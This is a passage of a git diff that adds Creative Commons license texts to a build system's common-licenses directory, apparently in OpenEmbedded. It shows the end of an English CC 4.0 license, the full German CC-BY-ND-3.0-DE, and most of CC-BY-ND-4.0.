+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-ND-3.0-DE b/meta/files/common-licenses/CC-BY-ND-3.0-DE
new file mode 100644
index 0000000000..c89d927981
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-ND-3.0-DE
@@ -0,0 +1,101 @@
+Creative Commons Namensnennung - Keine Bearbeitungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.c) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten.
+
+ c. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Weitergehende Änderungen oder Abwandlungen sind jedoch untersagt. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.b) aufgezählten Hinweise entfernen.
+
+ b. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand.
+
+ Die nach diesem Abschnitt 4.b) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ c. Die oben unter 4.a) und b) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ d. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die den Schutzgegenstand enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ c. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ d. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) angeboteten Lizenzen aus.
+
+ e. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-BY-ND-4.0 b/meta/files/common-licenses/CC-BY-ND-4.0
new file mode 100644
index 0000000000..09a21c7358
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-ND-4.0
@@ -0,0 +1,154 @@
+Creative Commons Attribution-NoDerivatives 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NoDerivatives 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NoDerivatives 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ c. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ d. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ e. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ f. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ g. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ h. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ i. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ j. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part; and
+
+ B. produce and reproduce, but not Share, Adapted Material.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material, You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. For the avoidance of doubt, You do not have permission under this Public License to Share Adapted Material.
+
+ 3. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 4. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database, provided You do not Share Adapted Material;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ c. For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ d. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ e. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
